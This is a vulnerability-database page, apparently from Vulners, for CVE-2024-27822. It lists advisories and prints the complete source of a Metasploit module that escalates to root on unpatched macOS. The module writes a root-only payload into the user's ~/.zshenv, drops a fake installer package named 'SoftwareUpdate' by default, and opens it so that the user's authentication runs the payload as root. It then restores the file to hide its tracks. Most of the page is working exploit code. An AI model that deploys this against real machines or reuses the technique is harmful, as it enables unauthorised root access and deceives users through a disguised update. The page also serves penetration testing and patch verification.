| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2024-27822 | 4 Jun 202404:17 | – | circl | |
| Apple macOS Sonoma 安全漏洞 | 13 May 202400:00 | – | cnnvd | |
| CVE-2024-27822 | 13 May 202423:00 | – | cve | |
| CVE-2024-27822 | 13 May 202423:00 | – | cvelist | |
| EUVD-2024-25015 | 3 Oct 202520:07 | – | euvd | |
| macOS 14.x < 14.5 Multiple Vulnerabilities (120903) | 16 Jan 202500:00 | – | nessus | |
| macOS 14.x < 14.5 Multiple Vulnerabilities (HT214106) | 13 May 202400:00 | – | nessus | |
| macOS PackageKit ZSH Environment Privilege Escalation | 6 Jul 202619:05 | – | metasploit | |
| Vulnerabilities fixed in Apple macOS | 15 May 202411:18 | – | ncsc | |
| CVE-2024-27822 | 14 May 202415:13 | – | nvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking # user interaction required
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'macOS PackageKit ZSH Environment Privilege Escalation',
'Description' => %q{
This module exploits CVE-2024-27822, a vulnerability in macOS
PackageKit.framework where PKG installer scripts using a ZSH shebang
(#!/bin/zsh) are executed as root while inheriting the installing user's
environment. This causes ZSH to load the user's ~/.zshenv with root
privileges before the installer script body runs.
The module injects a payload into ~/.zshenv that only fires when EUID is 0,
uploads a minimal PKG (from data/exploits/CVE-2024-27822/template.pkg) whose
install script uses a #!/bin/zsh shebang, and opens it with Installer.app.
When the user approves the installation dialog and authenticates, PackageKit
runs the install script as root. ZSH sources ~/.zshenv before the script body
executes, so the payload fires with root privileges. The original ~/.zshenv
content is restored immediately after the payload runs.
Affected: macOS 14.4 and earlier, 13.6.6 and earlier, 12.7.4 and earlier,
and all macOS 11 and older releases.
Fixed in: macOS 14.5, 13.6.7, 12.7.5.
},
'License' => MSF_LICENSE,
'Author' => [
'Mykola Grymalyuk', # Discovery and research
'h00die' # Metasploit module
],
'Platform' => ['osx', 'unix'],
'Arch' => ARCH_CMD,
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['macOS', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'Passive' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'References' => [
['CVE', '2024-27822'],
['URL', 'https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html'],
['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
],
'DefaultOptions' => {
'WfsDelay' => 1_800, # 30min
'PrependFork' => true
},
'DisclosureDate' => '2024-06-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('WritableDir', [true, 'Writable directory for staging files', '/tmp']),
OptString.new('PKG_NAME', [false, 'Display name for the fake installer PKG', 'SoftwareUpdate'])
])
end
def check
unless command_exists?('zsh')
return CheckCode::Safe("zsh isn't available on this system")
end
version = Rex::Version.new(get_system_version)
case version
when Rex::Version.new('14.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)")
when Rex::Version.new('14.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
when Rex::Version.new('13.6.7').. then CheckCode::Safe("macOS #{version} is patched (fixed in 13.6.7)")
when Rex::Version.new('13.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
when Rex::Version.new('12.7.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 12.7.5)")
when Rex::Version.new('12.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
else
CheckCode::Appears("macOS #{version} (11 and older) is vulnerable")
end
end
def exploit
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir'])
home_dir = create_process('printenv', args: ['HOME']).strip
fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank?
zshenv_path = "#{home_dir}/.zshenv"
# Preserve original .zshenv so we can restore it after root execution
original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : ''
original_b64 = Rex::Text.encode_base64(original_zshenv).gsub("\n", '')
# The injection block only runs when EUID==0 (PackageKit root context).
# It restores .zshenv first, then runs the payload.
injection = <<~ZSHENV
if [ "$EUID" = "0" ]; then
echo '#{original_b64}' | base64 -d > '#{zshenv_path}'
#{payload.encoded}
fi
ZSHENV
print_status("Injecting payload into #{zshenv_path}")
write_file(zshenv_path, injection + original_zshenv)
# Fallback cleanup if the PKG is never installed
register_file_for_cleanup(zshenv_path)
pkg_name = (datastore['PKG_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(8..12) : datastore['PKG_NAME']).gsub(' ', '_')
pkg_path = "#{datastore['WritableDir']}/#{pkg_name}.pkg"
print_status("Uploading PKG: #{pkg_path}")
write_file(pkg_path, load_template_pkg)
fail_with(Failure::NotVulnerable, "Failed to write PKG to #{pkg_path}") unless file?(pkg_path)
register_file_for_cleanup(pkg_path)
print_good("PKG uploaded: #{pkg_path}")
print_warning('Opening Installer.app - the user must click Install and authenticate.')
create_process('open', args: [pkg_path])
# taken from multi-handler
stime = Time.now.to_f
timeout = datastore['WfsDelay'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
private
def load_template_pkg
template_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-27822', 'template.pkg')
unless File.exist?(template_path)
fail_with(Failure::BadConfig,
"Template PKG not found at #{template_path}. " \
'Run data/exploits/CVE-2024-27822/generate_template.sh on macOS to regenerate it.')
end
File.binread(template_path)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation